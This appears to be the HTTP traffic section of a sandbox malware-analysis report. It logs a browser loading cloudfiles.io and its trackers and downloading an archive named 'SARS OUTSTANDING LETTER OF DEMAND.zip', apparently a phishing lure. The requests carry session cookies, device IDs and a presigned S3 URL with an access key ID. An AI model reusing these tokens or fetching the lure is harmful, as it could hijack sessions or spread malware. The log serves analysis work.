Source: global traffic	HTTP traffic detected: GET /fb.js HTTP/1.1Host: js.hsadspixel.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1 HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=0Gkdp1KDrT4; VISITOR_INFO1_LIVE=SNPwgvJ8Kh8
Source: global traffic	HTTP traffic detected: GET /20182553.js HTTP/1.1Host: js.hs-banner.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signals/config/749116996109032?v=2.9.83&r=stable HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /conversations-embed.js HTTP/1.1Host: js.usemessages.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/abfb84fe/www-player.css HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.youtube.com/embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=0Gkdp1KDrT4; VISITOR_INFO1_LIVE=SNPwgvJ8Kh8
Source: global traffic	HTTP traffic detected: GET /s/player/abfb84fe/www-embed-player.vflset/www-embed-player.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=0Gkdp1KDrT4; VISITOR_INFO1_LIVE=SNPwgvJ8Kh8
Source: global traffic	HTTP traffic detected: GET /livechat-public/v1/message/public?portalId=20182553&conversations-embed=static-1.10824&mobile=false&messagesUtk=e86f3294fabf4298bfb6731338a898f9&traceId=e86f3294fabf4298bfb6731338a898f9 HTTP/1.1Host: api.hubspot.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0X-HubSpot-Messages-Uri: https://cloudfiles.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://cloudfiles.ioSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://www.youtube.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/abfb84fe/player_ias.vflset/en_US/base.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=0Gkdp1KDrT4; VISITOR_INFO1_LIVE=SNPwgvJ8Kh8
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?v=1&t=sr&slf_rd=1&_r=4&tid=G-HB9Z4JLXX4&cid=604035153.1663946092&gtm=2oe9l0&aip=1&z=1923764674 HTTP/1.1Host: www.google.co.ukConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hs-script-loader-public/v1/config/pixel/json?portalId=20182553 HTTP/1.1Host: api.hubapi.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://cloudfiles.ioSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics-next/bundles/870.bundle.323974846b6d45afb45e.js HTTP/1.1Host: cdn.segment.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/abfb84fe/fetch-polyfill.vflset/fetch-polyfill.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=0Gkdp1KDrT4; VISITOR_INFO1_LIVE=SNPwgvJ8Kh8
Source: global traffic	HTTP traffic detected: GET /analytics-next/bundles/ajs-destination.bundle.35a8f6f19959bf2f455f.js HTTP/1.1Host: cdn.segment.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /conversations-visitor/20182553/threads/utk/e86f3294fabf4298bfb6731338a898f9?uuid=9cb37ca1f6ae46778bde47f4ac4692ca&mobile=false&mobileSafari=false&hideWelcomeMessage=false&hstc=null&domain=cloudfiles.io&inApp53=false&messagesUtk=e86f3294fabf4298bfb6731338a898f9&url=https%3A%2F%2Fcloudfiles.io%2F&inline=false&isFullscreen=false&globalCookieOptOut=null&isFirstVisitorSession=true&isAttachmentDisabled=false&enableWidgetCookieBanner=false&isInCMS=false HTTP/1.1Host: app.hubspot.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=749116996109032&ev=PageView&dl=https%3A%2F%2Fcloudfiles.io%2F&rl=&if=false&ts=1663946093096&sw=1280&sh=1024&v=2.9.83&r=stable&ec=0&o=30&fbp=fb.1.1663946093092.1064301508&it=1663946090710&coo=false&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gtag/js?id=AW-10783125194 HTTP/1.1Host: www.googletagmanager.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5/files/download? HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-session-id: 632d4ec5c3d2310bbf142ae1cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gtag/js?id=AW-10783125194&l=dataLayer&cx=c HTTP/1.1Host: www.googletagmanager.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /files/632d42032155f034859123fd/dd22dcbe6c19b15128cab3522986d931/SARS%20OUTSTANDING%20LETTER%20OF%20DEMAND.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAUV34ETFBMAVXCJUY%2F20220923%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20220923T061453Z&X-Amz-Expires=3600&X-Amz-Signature=ef31bc69633694a50c4197ccb18f0a2e470e07b84915298c4e0c409cf0cc9bc1&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3DSARS%20OUTSTANDING%20LETTER%20OF%20DEMAND.zip&origin=cloudfiles-prod-files.s3-accelerate.amazonaws.com&verify=1663913993-x9l3HX2kcl1_WJwGsMZV3xodOWreBRr3OwmLS1529Yo HTTP/1.1Host: cloudfil.esConnection: keep-aliveSec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyReferer: https://cloudfil.es/ly7mR8utBQ5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gtag/js?id=AW-10790228306&l=dataLayer&cx=c HTTP/1.1Host: www.googletagmanager.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gtag/js?id=AW-10790155329&l=dataLayer&cx=c HTTP/1.1Host: www.googletagmanager.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /head-dlb/static-1.233/bundle.production.js HTTP/1.1Host: static.hsappstatic.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://app.hubspot.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /conversations-visitor-ui/static-1.11843/sass/visitor.css HTTP/1.1Host: static.hsappstatic.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics-next/bundles/schemaFilter.bundle.debb169c1abb431faaa6.js HTTP/1.1Host: cdn.segment.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hubspot-dlb/static-1.318/bundle.production.js HTTP/1.1Host: static.hsappstatic.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://app.hubspot.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /conversations-visitor-ui/static-1.13284/bundles/visitor.js HTTP/1.1Host: static.hsappstatic.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://app.hubspot.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j97&tid=UA-188936264-1&cid=604035153.1663946092&jid=1865915276&_u=YADAAUAAAAAAAC~&z=1702222027 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=nUT82hOv6CVwMNqDg-sTtCMJJ6SQ1v_cCpfCpf5nt8EolEbal01GWFyjG01tqWQgh9ciRU880J6nLd2gdbhAJs44PsHAZaVQAFIbrqe2FmFgjrAAK7W9Z8u5LDvwsuZRng98jP6E23SJ4fsPIs326YmnuCwa92dRRCcB6MNeI_o
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/cfc6b023-bfbbf3efd654883b.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_HB9Z4JLXX4=GS1.1.1663946091.1.1.1663946091.60.0.0; ph_phc_T3PTF5hBP3diRM81BaUw8mdzvKytDNdmz6aF4HXbGz2_posthog=%7B%22distinct_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24device_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%2C%22%24session_recording_enabled%22%3Afalse%2C%22%24active_feature_flags%22%3A%5B%5D%2C%22%24enabled_feature_flags%22%3A%7B%7D%7D; _fbp=fb.1.1663946093092.1064301508; _ga=GA1.2.604035153.1663946092; _gid=GA1.2.405113668.1663946093; _gat_gtag_UA_188936264_1=1; _gcl_au=1.1.1471331947.1663946094
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/43a99af2-6a652ea0e41564d0.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_HB9Z4JLXX4=GS1.1.1663946091.1.1.1663946091.60.0.0; ph_phc_T3PTF5hBP3diRM81BaUw8mdzvKytDNdmz6aF4HXbGz2_posthog=%7B%22distinct_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24device_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%2C%22%24session_recording_enabled%22%3Afalse%2C%22%24active_feature_flags%22%3A%5B%5D%2C%22%24enabled_feature_flags%22%3A%7B%7D%7D; _fbp=fb.1.1663946093092.1064301508; _ga=GA1.2.604035153.1663946092; _gid=GA1.2.405113668.1663946093; _gat_gtag_UA_188936264_1=1; _gcl_au=1.1.1471331947.1663946094
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/b16bd182-2fce6d9e40c8c943.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_HB9Z4JLXX4=GS1.1.1663946091.1.1.1663946091.60.0.0; ph_phc_T3PTF5hBP3diRM81BaUw8mdzvKytDNdmz6aF4HXbGz2_posthog=%7B%22distinct_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24device_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%2C%22%24session_recording_enabled%22%3Afalse%2C%22%24active_feature_flags%22%3A%5B%5D%2C%22%24enabled_feature_flags%22%3A%7B%7D%7D; _fbp=fb.1.1663946093092.1064301508; _ga=GA1.2.604035153.1663946092; 